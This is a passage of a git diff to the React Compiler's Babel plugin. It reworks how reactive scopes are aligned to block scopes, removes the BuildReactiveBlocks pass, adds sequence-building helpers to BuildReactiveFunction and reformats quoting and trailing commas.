-       * Note that it's possible for a terminal such as an if or switch to have a null fallback,
-       * indicating that all control-flow paths diverge instead of reaching the fallthrough.
-       * In this case there isn't an instruction id in the program that we can point to for the
-       * updated range. Since the output is correct in this case we leave it, but it would be
-       * more correct to find the maximum instuction id in the whole program and set the range.end
-       * to one greater. Alternatively, we could leave in an unreachable fallthrough (with a new
-       * "unreachable" terminal variant, perhaps) and use that instruction id.
+       * Any currently active scopes that overlaps the block-fallthrough range
+       * need their range extended to at least the first instruction of the
+       * fallthrough
        */
       const fallthroughBlock = fn.body.blocks.get(fallthrough)!;
       const nextId =
         fallthroughBlock.instructions[0]?.id ?? fallthroughBlock.terminal.id;
-      for (const child of node.children) {
-        if (child.kind !== "scope") {
-          continue;
-        }
-        const scope = child.scope;
+      for (const scope of activeScopes) {
         if (scope.range.end > terminal.id) {
           scope.range.end = makeInstructionId(
-            Math.max(scope.range.end, nextId)
+            Math.max(scope.range.end, nextId),
+          );
+        }
+      }
+      /**
+       * We also record the block-fallthrough range for future scopes that begin
+       * within the range (and overlap with the range end).
+       */
+      activeBlockFallthroughRanges.push({
+        fallthrough,
+        range: {
+          start: terminal.id,
+          end: nextId,
+        },
+      });
+
+      CompilerError.invariant(!valueBlockNodes.has(fallthrough), {
+        reason: 'Expect hir blocks to have unique fallthroughs',
+        loc: terminal.loc,
+      });
+      if (node != null) {
+        valueBlockNodes.set(fallthrough, node);
+      }
+    } else if (terminal.kind === 'goto') {
+      /**
+       * If we encounter a goto that is not to the natural fallthrough of the current
+       * block (not the topmost fallthrough on the stack), then this is a goto to a
+       * label. Any scopes that extend beyond the goto must be extended to include
+       * the labeled range, so that the break statement doesn't accidentally jump
+       * out of the scope. We do this by extending the start and end of the scope's
+       * range to the label and its fallthrough respectively.
+       */
+      const start = activeBlockFallthroughRanges.find(
+        range => range.fallthrough === terminal.block,
+      );
+      if (start != null && start !== activeBlockFallthroughRanges.at(-1)) {
+        const fallthroughBlock = fn.body.blocks.get(start.fallthrough)!;
+        const firstId =
+          fallthroughBlock.instructions[0]?.id ?? fallthroughBlock.terminal.id;
+        for (const scope of activeScopes) {
+          /**
+           * activeScopes is only filtered at block start points, so some of the
+           * scopes may not actually be active anymore, ie we've past their end
+           * instruction. Only extend ranges for scopes that are actually active.
+           *
+           * TODO: consider pruning activeScopes per instruction
+           */
+          if (scope.range.end <= terminal.id) {
+            continue;
+          }
+          scope.range.start = makeInstructionId(
+            Math.min(start.range.start, scope.range.start),
+          );
+          scope.range.end = makeInstructionId(
+            Math.max(firstId, scope.range.end),
           );
         }
       }
-      blockNodes.set(fallthrough, node);
     }
 
     /*
@@ -165,49 +220,36 @@ export function alignReactiveScopesToBlockScopesHIR(fn: HIRFunction): void {
      * TODO: add a variant of eachTerminalSuccessor() that visits _all_ successors, not
      * just those that are direct successors for normal control-flow ordering.
      */
-    mapTerminalSuccessors(terminal, (successor) => {
-      if (blockNodes.has(successor)) {
+    mapTerminalSuccessors(terminal, successor => {
+      if (valueBlockNodes.has(successor)) {
         return successor;
       }
 
       const successorBlock = fn.body.blocks.get(successor)!;
-      /*
-       * we need the block kind check here because the do..while terminal's successor
-       * is a block, and try's successor is a catch block
-       */
-      if (successorBlock.kind === "block" || successorBlock.kind === "catch") {
-        const childNode: BlockNode = {
-          kind: "node",
-          id: terminal.id,
-          children: [],
-          valueRange: null,
-        };
-        node.children.push(childNode);
-        blockNodes.set(successor, childNode);
+      if (successorBlock.kind === 'block' || successorBlock.kind === 'catch') {
+        /*
+         * we need the block kind check here because the do..while terminal's
+         * successor is a block, and try's successor is a catch block
+         */
       } else if (
-        node.valueRange === null ||
-        terminal.kind === "ternary" ||
-        terminal.kind === "logical" ||
-        terminal.kind === "optional"
+        node == null ||
+        terminal.kind === 'ternary' ||
+        terminal.kind === 'logical' ||
+        terminal.kind === 'optional'
       ) {
         /**
-         * Create a new scope node whenever we transition from block scope -> value scope.
+         * Create a new node whenever we transition from non-value -> value block.
          *
          * For compatibility with the previous ReactiveFunction-based scope merging logic,
          * we also create new scope nodes for ternary, logical, and optional terminals.
-         * However, inside value blocks we always store a range (valueRange) that is the
+         * Inside value blocks we always store a range (valueRange) that is the
          * start/end instruction ids at the nearest parent block scope level, so that
          * scopes inside the value blocks can be extended to align with block scope
          * instructions.
          */
-        const childNode = {
-          kind: "node",
-          id: terminal.id,
-          children: [],
-          valueRange: null,
-        } as BlockNode;
-        if (node.valueRange === null) {
-          // Transition from block->value scope, derive the outer block scope range
+        let valueRange: MutableRange;
+        if (node == null) {
+          // Transition from block->value block, derive the outer block range
           CompilerError.invariant(fallthrough !== null, {
             reason: `Expected a fallthrough for value block`,
             loc: terminal.loc,
@@ -216,59 +258,60 @@ export function alignReactiveScopesToBlockScopesHIR(fn: HIRFunction): void {
           const nextId =
             fallthroughBlock.instructions[0]?.id ??
             fallthroughBlock.terminal.id;
-          childNode.valueRange = {
+          valueRange = {
             start: terminal.id,
             end: nextId,
           };
         } else {
           // else value->value transition, reuse the range
-          childNode.valueRange = node.valueRange;
+          valueRange = node.valueRange;
         }
-        node.children.push(childNode);
-        blockNodes.set(successor, childNode);
+        const childNode: ValueBlockNode = {
+          kind: 'node',
+          id: terminal.id,
+          children: [],
+          valueRange,
+        };
+        node?.children.push(childNode);
+        valueBlockNodes.set(successor, childNode);
       } else {
         // this is a value -> value block transition, reuse the node
-        blockNodes.set(successor, node);
+        valueBlockNodes.set(successor, node);
       }
       return successor;
     });
   }
-
-  // console.log(_debug(rootNode));
 }
 
-type BlockNode = {
-  kind: "node";
+type ValueBlockNode = {
+  kind: 'node';
   id: InstructionId;
-  valueRange: MutableRange | null;
-  children: Array<BlockNode | ReactiveScopeNode>;
+  valueRange: MutableRange;
+  children: Array<ValueBlockNode | ReactiveScopeNode>;
 };
 type ReactiveScopeNode = {
-  kind: "scope";
+  kind: 'scope';
   id: InstructionId;
   scope: ReactiveScope;
 };
 
-function _debug(node: BlockNode): string {
+function _debug(node: ValueBlockNode): string {
   const buf: Array<string> = [];
   _printNode(node, buf, 0);
-  return buf.join("\n");
+  return buf.join('\n');
 }
 function _printNode(
-  node: BlockNode | ReactiveScopeNode,
+  node: ValueBlockNode | ReactiveScopeNode,
   out: Array<string>,
-  depth: number = 0
+  depth: number = 0,
 ): void {
-  let prefix = "  ".repeat(depth);
-  if (node.kind === "scope") {
+  let prefix = '  '.repeat(depth);
+  if (node.kind === 'scope') {
     out.push(
-      `${prefix}[${node.id}] @${node.scope.id} [${node.scope.range.start}:${node.scope.range.end}]`
+      `${prefix}[${node.id}] @${node.scope.id} [${node.scope.range.start}:${node.scope.range.end}]`,
     );
   } else {
-    let range =
-      node.valueRange !== null
-        ? ` [${node.valueRange.start}:${node.valueRange.end}]`
-        : "";
+    let range = ` (range=[${node.valueRange.start}:${node.valueRange.end}])`;
     out.push(`${prefix}[${node.id}] node${range} [`);
     for (const child of node.children) {
       _printNode(child, out, depth + 1);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AssertScopeInstructionsWithinScope.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AssertScopeInstructionsWithinScope.ts
index 7a91f0f10771..07ad4b3e7e34 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AssertScopeInstructionsWithinScope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AssertScopeInstructionsWithinScope.ts
@@ -5,17 +5,17 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { visitReactiveFunction } from ".";
-import { CompilerError } from "..";
+import {visitReactiveFunction} from '.';
+import {CompilerError} from '..';
 import {
   InstructionId,
   Place,
   ReactiveFunction,
   ReactiveScopeBlock,
   ScopeId,
-} from "../HIR";
-import { getPlaceScope } from "./BuildReactiveBlocks";
-import { ReactiveFunctionVisitor } from "./visitors";
+} from '../HIR';
+import {getPlaceScope} from '../HIR/HIR';
+import {ReactiveFunctionVisitor} from './visitors';
 
 /*
  * Internal validation pass that checks all the instructions involved in creating
@@ -41,14 +41,14 @@ import { ReactiveFunctionVisitor } from "./visitors";
  * against compiler coding mistakes in earlier passes.
  */
 export function assertScopeInstructionsWithinScopes(
-  fn: ReactiveFunction
+  fn: ReactiveFunction,
 ): void {
   const existingScopes = new Set<ScopeId>();
   visitReactiveFunction(fn, new FindAllScopesVisitor(), existingScopes);
   visitReactiveFunction(
     fn,
     new CheckInstructionsAgainstScopesVisitor(),
-    existingScopes
+    existingScopes,
   );
 }
 
@@ -67,7 +67,7 @@ class CheckInstructionsAgainstScopesVisitor extends ReactiveFunctionVisitor<
   override visitPlace(
     id: InstructionId,
     place: Place,
-    state: Set<ScopeId>
+    state: Set<ScopeId>,
   ): void {
     const scope = getPlaceScope(id, place);
     if (
@@ -81,11 +81,10 @@ class CheckInstructionsAgainstScopesVisitor extends ReactiveFunctionVisitor<
       !this.activeScopes.has(scope.id)
     ) {
       CompilerError.invariant(false, {
-        description: `Instruction [${id}] is part of scope @${scope.id}, but that scope has already completed.`,
-        loc: place.loc,
         reason:
-          "Encountered an instruction that should be part of a scope, but where that scope has already completed",
-        suggestions: null,
+          'Encountered an instruction that should be part of a scope, but where that scope has already completed',
+        description: `Instruction [${id}] is part of scope @${scope.id}, but that scope has already completed`,
+        loc: place.loc,
       });
     }
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AssertWellFormedBreakTargets.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AssertWellFormedBreakTargets.ts
index 0c4d26aa5a42..9ce9b2f49066 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AssertWellFormedBreakTargets.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AssertWellFormedBreakTargets.ts
@@ -5,9 +5,9 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "..";
-import { BlockId, ReactiveFunction, ReactiveTerminalStatement } from "../HIR";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
+import {CompilerError} from '..';
+import {BlockId, ReactiveFunction, ReactiveTerminalStatement} from '../HIR';
+import {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';
 
 /**
  * Assert that all break/continue targets reference existent labels.
@@ -19,15 +19,15 @@ export function assertWellFormedBreakTargets(fn: ReactiveFunction): void {
 class Visitor extends ReactiveFunctionVisitor<Set<BlockId>> {
   override visitTerminal(
     stmt: ReactiveTerminalStatement,
-    seenLabels: Set<BlockId>
+    seenLabels: Set<BlockId>,
   ): void {
     if (stmt.label != null) {
       seenLabels.add(stmt.label.id);
     }
     const terminal = stmt.terminal;
-    if (terminal.kind === "break" || terminal.kind === "continue") {
+    if (terminal.kind === 'break' || terminal.kind === 'continue') {
       CompilerError.invariant(seenLabels.has(terminal.target), {
-        reason: "Unexpected break to invalid label",
+        reason: 'Unexpected break to invalid label',
         loc: stmt.terminal.loc,
       });
     }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/BuildReactiveBlocks.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/BuildReactiveBlocks.ts
deleted file mode 100644
index 3dee97030a89..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/BuildReactiveBlocks.ts
+++ /dev/null
@@ -1,244 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { CompilerError } from "../CompilerError";
-import {
-  BlockId,
-  InstructionId,
-  Place,
-  ReactiveBlock,
-  ReactiveFunction,
-  ReactiveInstruction,
-  ReactiveScope,
-  ReactiveScopeBlock,
-  ReactiveStatement,
-  ScopeId,
-} from "../HIR";
-import { eachInstructionLValue } from "../HIR/visitors";
-import { assertExhaustive } from "../Utils/utils";
-import { eachReactiveValueOperand, mapTerminalBlocks } from "./visitors";
-
-/*
- * Note: this is the 4th of 4 passes that determine how to break a function into discrete
- * reactive scopes (independently memoizeable units of code):
- * 1. InferReactiveScopeVariables (on HIR) determines operands that mutate together and assigns
- *     them a unique reactive scope.
- * 2. AlignReactiveScopesToBlockScopes (on ReactiveFunction) aligns reactive scopes
- *     to block scopes.
- * 3. MergeOverlappingReactiveScopes (this pass, on ReactiveFunction) ensures that reactive
- *     scopes do not overlap, merging any such scopes.
- * 4. BuildReactiveBlocks (on ReactiveFunction) groups the statements for each scope into
- *     a ReactiveScopeBlock.
- *
- * Given a function where the reactive scopes have been correctly aligned and merged,
- * this pass groups the instructions for each reactive scope into ReactiveBlocks.
- */
-export function buildReactiveBlocks(fn: ReactiveFunction): void {
-  const context = new Context();
-  fn.body = context.enter(() => {
-    visitBlock(context, fn.body);
-  });
-}
-
-class Context {
-  #builders: Array<Builder> = [];
-  #scopes: Set<ScopeId> = new Set();
-
-  visitId(id: InstructionId): void {
-    const builder = this.#builders.at(-1)!;
-    builder.visitId(id);
-  }
-
-  visitScope(scope: ReactiveScope): void {
-    if (this.#scopes.has(scope.id)) {
-      return;
-    }
-    this.#scopes.add(scope.id);
-    this.#builders.at(-1)!.startScope(scope);
-  }
-
-  append(
-    stmt: ReactiveStatement,
-    label: { id: BlockId; implicit: boolean } | null
-  ): void {
-    this.#builders.at(-1)!.append(stmt, label);
-  }
-
-  enter(fn: () => void): ReactiveBlock {
-    const builder = new Builder();
-    this.#builders.push(builder);
-    fn();
-    const popped = this.#builders.pop();
-    CompilerError.invariant(popped === builder, {
-      reason: "Expected push/pop to be called 1:1",
-      description: null,
-      loc: null,
-      suggestions: null,
-    });
-    return builder.complete();
-  }
-}
-
-class Builder {
-  #instructions: ReactiveBlock;
-  #stack: Array<
-    | { kind: "scope"; block: ReactiveScopeBlock }
-    | { kind: "block"; block: ReactiveBlock }
-  >;
-
-  constructor() {
-    const block: ReactiveBlock = [];
-    this.#instructions = block;
-    this.#stack = [{ kind: "block", block }];
-  }
-
-  append(
-    item: ReactiveStatement,
-    label: { id: BlockId; implicit: boolean } | null
-  ): void {
-    if (label !== null) {
-      CompilerError.invariant(item.kind === "terminal", {
-        reason: "Only terminals may have a label",
-        description: null,
-        loc: null,
-        suggestions: null,
-      });
-      item.label = label;
-    }
-    this.#instructions.push(item);
-  }
-
-  startScope(scope: ReactiveScope): void {
-    const block: ReactiveScopeBlock = {
-      kind: "scope",
-      scope,
-      instructions: [],
-    };
-    this.append(block, null);
-    this.#instructions = block.instructions;
-    this.#stack.push({ kind: "scope", block });
-  }
-
-  visitId(id: InstructionId): void {
-    for (let i = 0; i < this.#stack.length; i++) {
-      const entry = this.#stack[i]!;
-      if (entry.kind === "scope" && id >= entry.block.scope.range.end) {
-        this.#stack.length = i;
-        break;
-      }
-    }
-    const last = this.#stack[this.#stack.length - 1]!;
-    if (last.kind === "block") {
-      this.#instructions = last.block;
-    } else {
-      this.#instructions = last.block.instructions;
-    }
-  }
-
-  complete(): ReactiveBlock {
-    /*
-     * TODO: @josephsavona debug violations of this invariant
-     * invariant(
-     *   this.#stack.length === 1,
-     *   "Expected all scopes to be closed when exiting a block"
-     * );
-     */
-    const first = this.#stack[0]!;
-    CompilerError.invariant(first.kind === "block", {
-      reason: "Expected first stack item to be a basic block",
-      description: null,
-      loc: null,
-      suggestions: null,
-    });
-    return first.block;
-  }
-}
-
-function visitBlock(context: Context, block: ReactiveBlock): void {
-  for (const stmt of block) {
-    switch (stmt.kind) {
-      case "instruction": {
-        context.visitId(stmt.instruction.id);
-        const scope = getInstructionScope(stmt.instruction);
-        if (scope !== null) {
-          context.visitScope(scope);
-        }
-        context.append(stmt, null);
-        break;
-      }
-      case "terminal": {
-        const id = stmt.terminal.id;
-        if (id !== null) {
-          context.visitId(id);
-        }
-        mapTerminalBlocks(stmt.terminal, (block) => {
-          return context.enter(() => {
-            visitBlock(context, block);
-          });
-        });
-        context.append(stmt, stmt.label);
-        break;
-      }
-      case "pruned-scope":
-      case "scope": {
-        CompilerError.invariant(false, {
-          reason: "Expected the function to not have scopes already assigned",
-          description: null,
-          loc: null,
-          suggestions: null,
-        });
-      }
-      default: {
-        assertExhaustive(
-          stmt,
-          `Unexpected statement kind \`${(stmt as any).kind}\``
-        );
-      }
-    }
-  }
-}
-
-export function getInstructionScope(
-  instr: ReactiveInstruction
-): ReactiveScope | null {
-  CompilerError.invariant(instr.lvalue !== null, {
-    reason:
-      "Expected lvalues to not be null when assigning scopes. " +
-      "Pruning lvalues too early can result in missing scope information.",
-    description: null,
-    loc: instr.loc,
-    suggestions: null,
-  });
-  for (const operand of eachInstructionLValue(instr)) {
-    const operandScope = getPlaceScope(instr.id, operand);
-    if (operandScope !== null) {
-      return operandScope;
-    }
-  }
-  for (const operand of eachReactiveValueOperand(instr.value)) {
-    const operandScope = getPlaceScope(instr.id, operand);
-    if (operandScope !== null) {
-      return operandScope;
-    }
-  }
-  return null;
-}
-
-export function getPlaceScope(
-  id: InstructionId,
-  place: Place
-): ReactiveScope | null {
-  const scope = place.identifier.scope;
-  if (scope !== null && isScopeActive(scope, id)) {
-    return scope;
-  }
-  return null;
-}
-
-function isScopeActive(scope: ReactiveScope, id: InstructionId): boolean {
-  return id >= scope.range.start && id < scope.range.end;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/BuildReactiveFunction.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/BuildReactiveFunction.ts
index ebc1d63c6d88..f53f7d15e0cb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/BuildReactiveFunction.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/BuildReactiveFunction.ts
@@ -5,22 +5,24 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
+import {CompilerError} from '../CompilerError';
 import {
   BasicBlock,
   BlockId,
+  GeneratedSource,
   GotoVariant,
   HIR,
   InstructionId,
   Place,
   ReactiveBlock,
   SourceLocation,
-} from "../HIR";
+} from '../HIR';
 import {
   HIRFunction,
   ReactiveBreakTerminal,
   ReactiveContinueTerminal,
   ReactiveFunction,
+  ReactiveInstruction,
   ReactiveLogicalValue,
   ReactiveSequenceValue,
   ReactiveTerminalStatement,
@@ -28,8 +30,8 @@ import {
   ReactiveTernaryValue,
   ReactiveValue,
   Terminal,
-} from "../HIR/HIR";
-import { assertExhaustive } from "../Utils/utils";
+} from '../HIR/HIR';
+import {assertExhaustive} from '../Utils/utils';
 
 /*
  * Converts from HIR (lower-level CFG) to ReactiveFunction, a tree representation
@@ -44,6 +46,7 @@ export function buildReactiveFunction(fn: HIRFunction): ReactiveFunction {
   return {
     loc: fn.loc,
     id: fn.id,
+    nameHint: fn.nameHint,
     params: fn.params,
     generator: fn.generator,
     async: fn.async,
@@ -60,6 +63,139 @@ class Driver {
     this.cx = cx;
   }
 
+  /*
+   * Wraps a continuation result with preceding instructions. If there are no
+   * instructions, returns the continuation as-is. Otherwise, wraps the continuation's
+   * value in a SequenceExpression with the instructions prepended.
+   */
+  wrapWithSequence(
+    instructions: Array<ReactiveInstruction>,
+    continuation: {
+      block: BlockId;
+      value: ReactiveValue;
+      place: Place;
+      id: InstructionId;
+    },
+    loc: SourceLocation,
+  ): {block: BlockId; value: ReactiveValue; place: Place; id: InstructionId} {
+    if (instructions.length === 0) {
+      return continuation;
+    }
+    const sequence: ReactiveSequenceValue = {
+      kind: 'SequenceExpression',
+      instructions,
+      id: continuation.id,
+      value: continuation.value,
+      loc,
+    };
+    return {
+      block: continuation.block,
+      value: sequence,
+      place: continuation.place,
+      id: continuation.id,
+    };
+  }
+
+  /*
+   * Extracts the result value from instructions at the end of a value block.
+   * Value blocks generally end in a StoreLocal to assign the value of the
+   * expression. These StoreLocal instructions can be pruned since we represent
+   * value blocks as compound values in ReactiveFunction (no phis). However,
+   * it's also possible to have a value block that ends in an AssignmentExpression,
+   * which we need to keep. So we only prune StoreLocal for temporaries.
+   */
+  extractValueBlockResult(
+    instructions: BasicBlock['instructions'],
+    blockId: BlockId,
+    loc: SourceLocation,
+  ): {block: BlockId; place: Place; value: ReactiveValue; id: InstructionId} {
+    CompilerError.invariant(instructions.length !== 0, {
+      reason: `Expected non-empty instructions in extractValueBlockResult`,
+      description: null,
+      loc,
+    });
+    const instr = instructions.at(-1)!;
+    let place: Place = instr.lvalue;
+    let value: ReactiveValue = instr.value;
+    if (
+      value.kind === 'StoreLocal' &&
+      value.lvalue.place.identifier.name === null
+    ) {
+      place = value.lvalue.place;
+      value = {
+        kind: 'LoadLocal',
+        place: value.value,
+        loc: value.value.loc,
+      };
+    }
+    if (instructions.length === 1) {
+      return {block: blockId, place, value, id: instr.id};
+    }
+    const sequence: ReactiveSequenceValue = {
+      kind: 'SequenceExpression',
+      instructions: instructions.slice(0, -1),
+      id: instr.id,
+      value,
+      loc,
+    };
+    return {block: blockId, place, value: sequence, id: instr.id};
+  }
+
+  /*
+   * Converts the result of visitValueBlock into a SequenceExpression that includes
+   * the instruction with its lvalue. This is needed for for/for-of/for-in init/test
+   * blocks where the instruction's lvalue assignment must be preserved.
+   *
+   * This also flattens nested SequenceExpressions that can occur from MaybeThrow
+   * handling in try-catch blocks.
+   */
+  valueBlockResultToSequence(
+    result: {
+      block: BlockId;
+      value: ReactiveValue;
+      place: Place;
+      id: InstructionId;
+    },
+    loc: SourceLocation,
+  ): ReactiveSequenceValue {
+    // Collect all instructions from potentially nested SequenceExpressions
+    const instructions: Array<ReactiveInstruction> = [];
+    let innerValue: ReactiveValue = result.value;
+
+    // Flatten nested SequenceExpressions
+    while (innerValue.kind === 'SequenceExpression') {
+      instructions.push(...innerValue.instructions);
+      innerValue = innerValue.value;
+    }
+
+    /*
+     * Only add the final instruction if the innermost value is not just a LoadLocal
+     * of the same place we're storing to (which would be a no-op).
+     * This happens when MaybeThrow blocks cause the sequence to already contain
+     * all the necessary instructions.
+     */
+    const isLoadOfSamePlace =
+      innerValue.kind === 'LoadLocal' &&
+      innerValue.place.identifier.id === result.place.identifier.id;
+
+    if (!isLoadOfSamePlace) {
+      instructions.push({
+        id: result.id,
+        lvalue: result.place,
+        value: innerValue,
+        loc,
+      });
+    }
+
+    return {
+      kind: 'SequenceExpression',
+      instructions,
+      id: result.id,
+      value: {kind: 'Primitive', value: undefined, loc},
+      loc,
+    };
+  }
+
   traverseBlock(block: BasicBlock): ReactiveBlock {
     const blockValue: ReactiveBlock = [];
     this.visitBlock(block, blockValue);
@@ -69,14 +205,12 @@ class Driver {
   visitBlock(block: BasicBlock, blockValue: ReactiveBlock): void {
     CompilerError.invariant(!this.cx.emitted.has(block.id), {
       reason: `Cannot emit the same block twice: bb${block.id}`,
-      description: null,
-      loc: null,
-      suggestions: null,
+      loc: GeneratedSource,
     });
     this.cx.emitted.add(block.id);
     for (const instruction of block.instructions) {
       blockValue.push({
-        kind: "instruction",
+        kind: 'instruction',
         instruction,
       });
     }
@@ -84,11 +218,11 @@ class Driver {
     const terminal = block.terminal;
     const scheduleIds = [];
     switch (terminal.kind) {
-      case "return": {
+      case 'return': {
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "return",
+            kind: 'return',
             loc: terminal.loc,
             value: terminal.value,
             id: terminal.id,
@@ -97,11 +231,11 @@ class Driver {
         });
         break;
       }
-      case "throw": {
+      case 'throw': {
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "throw",
+            kind: 'throw',
             loc: terminal.loc,
             value: terminal.value,
             id: terminal.id,
@@ -110,7 +244,7 @@ class Driver {
         });
         break;
       }
-      case "if": {
+      case 'if': {
         const fallthroughId =
           this.cx.reachable(terminal.fallthrough) &&
           !this.cx.isScheduled(terminal.fallthrough)
@@ -122,7 +256,7 @@ class Driver {
             : null;
 
         if (fallthroughId !== null) {
-          const scheduleId = this.cx.schedule(fallthroughId, "if");
+          const scheduleId = this.cx.schedule(fallthroughId, 'if');
           scheduleIds.push(scheduleId);
         }
 
@@ -134,7 +268,7 @@ class Driver {
           });
         } else {
           consequent = this.traverseBlock(
-            this.cx.ir.blocks.get(terminal.consequent)!
+            this.cx.ir.blocks.get(terminal.consequent)!,
           );
         }
 
@@ -152,9 +286,9 @@ class Driver {
 
         this.cx.unscheduleAll(scheduleIds);
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "if",
+            kind: 'if',
             loc: terminal.loc,
             test: terminal.test,
             consequent: consequent ?? this.emptyBlock(),
@@ -174,14 +308,14 @@ class Driver {
         }
         break;
       }
-      case "switch": {
+      case 'switch': {
         const fallthroughId =
           this.cx.reachable(terminal.fallthrough) &&
           !this.cx.isScheduled(terminal.fallthrough)
             ? terminal.fallthrough
             : null;
         if (fallthroughId !== null) {
-          const scheduleId = this.cx.schedule(fallthroughId, "switch");
+          const scheduleId = this.cx.schedule(fallthroughId, 'switch');
           scheduleIds.push(scheduleId);
         }
 
@@ -201,20 +335,20 @@ class Driver {
             return;
           } else {
             consequent = this.traverseBlock(
-              this.cx.ir.blocks.get(case_.block)!
+              this.cx.ir.blocks.get(case_.block)!,
             );
-            const scheduleId = this.cx.schedule(case_.block, "case");
+            const scheduleId = this.cx.schedule(case_.block, 'case');
             scheduleIds.push(scheduleId);
           }
-          cases.push({ test, block: consequent });
+          cases.push({test, block: consequent});
         });
         cases.reverse();
 
         this.cx.unscheduleAll(scheduleIds);
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "switch",
+            kind: 'switch',
             loc: terminal.loc,
             test: terminal.test,
             cases,
@@ -233,7 +367,7 @@ class Driver {
         }
         break;
       }
-      case "do-while": {
+      case 'do-while': {
         const fallthroughId = !this.cx.isScheduled(terminal.fallthrough)
           ? terminal.fallthrough
           : null;
@@ -245,7 +379,7 @@ class Driver {
         const scheduleId = this.cx.scheduleLoop(
           terminal.fallthrough,
           terminal.test,
-          terminal.loop
+          terminal.loop,
         );
         scheduleIds.push(scheduleId);
 
@@ -261,14 +395,14 @@ class Driver {
 
         const testValue = this.visitValueBlock(
           terminal.test,
-          terminal.loc
+          terminal.loc,
         ).value;
 
         this.cx.unscheduleAll(scheduleIds);
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "do-while",
+            kind: 'do-while',
             loc: terminal.loc,
             test: testValue,
             loop: loopBody,
@@ -287,7 +421,7 @@ class Driver {
         }
         break;
       }
-      case "while": {
+      case 'while': {
         const fallthroughId =
           this.cx.reachable(terminal.fallthrough) &&
           !this.cx.isScheduled(terminal.fallthrough)
@@ -301,13 +435,13 @@ class Driver {
         const scheduleId = this.cx.scheduleLoop(
           terminal.fallthrough,
           terminal.test,
-          terminal.loop
+          terminal.loop,
         );
         scheduleIds.push(scheduleId);
 
         const testValue = this.visitValueBlock(
           terminal.test,
-          terminal.loc
+          terminal.loc,
         ).value;
 
         let loopBody: ReactiveBlock;
@@ -322,9 +456,9 @@ class Driver {
 
         this.cx.unscheduleAll(scheduleIds);
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "while",
+            kind: 'while',
             loc: terminal.loc,
             test: testValue,
             loop: loopBody,
@@ -343,7 +477,7 @@ class Driver {
         }
         break;
       }
-      case "for": {
+      case 'for': {
         const loopId =
           !this.cx.isScheduled(terminal.loop) &&
           terminal.loop !== terminal.fallthrough
@@ -357,38 +491,16 @@ class Driver {
         const scheduleId = this.cx.scheduleLoop(
           terminal.fallthrough,
           terminal.update ?? terminal.test,
-          terminal.loop
+          terminal.loop,
         );
         scheduleIds.push(scheduleId);
 
         const init = this.visitValueBlock(terminal.init, terminal.loc);
-        const initBlock = this.cx.ir.blocks.get(init.block)!;
-        let initValue = init.value;
-        if (initValue.kind === "SequenceExpression") {
-          const last = initBlock.instructions.at(-1)!;
-          initValue.instructions.push(last);
-          initValue.value = {
-            kind: "Primitive",
-            value: undefined,
-            loc: terminal.loc,
-          };
-        } else {
-          initValue = {
-            kind: "SequenceExpression",
-            instructions: [initBlock.instructions.at(-1)!],
-            id: terminal.id,
-            loc: terminal.loc,
-            value: {
-              kind: "Primitive",
-              value: undefined,
-              loc: terminal.loc,
-            },
-          };
-        }
+        const initValue = this.valueBlockResultToSequence(init, terminal.loc);
 
         const testValue = this.visitValueBlock(
           terminal.test,
-          terminal.loc
+          terminal.loc,
         ).value;
 
         const updateValue =
@@ -408,9 +520,9 @@ class Driver {
 
         this.cx.unscheduleAll(scheduleIds);
         blockValue.push({
-          kind: "terminal",
+          kind: 'terminal',
           terminal: {
-            kind: "for",
+            kind: 'for',
             loc: terminal.loc,
             init: initValue,
             test: testValue,
@@ -419,16 +531,14 @@ class Driver {
             id: terminal.id,
           },
           label:
-            fallthroughId == null
-              ? null
-              : { id: fallthroughId, implicit: false },
+            fallthroughId == null ? null : {id: fallthroughId, implicit: false},
         });
         if (fallthroughId !== null) {
           this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);
         }
         break;
       }
-      case "for-of": {
+      case 'for-of': {
         const loopId =
           !this.cx.isScheduled(terminal.loop) &&
           terminal.loop !== terminal.fallthrough
@@ -442,59 +552,15 @@ class Driver {
         const scheduleId = this.cx.scheduleLoop(
           terminal.fallthrough,
           terminal.init,
-          terminal.loop
+          terminal.loop,
         );
         scheduleIds.push(scheduleId);
 
         const init = this.visitValueBlock(terminal.init, terminal.loc);
-        const initBlock = this.cx.ir.blocks.get(init.block)!;
-        let initValue = init.value;
-        if (initValue.kind === "SequenceExpression") {
-          const last = initBlock.instructions.at(-1)!;
-          initValue.instructions.push(last);
-          initValue.value = {
-            kind: "Primitive",
-            value: undefined,
-            loc: terminal.loc,
-          };
-        } else {
-          initValue = {
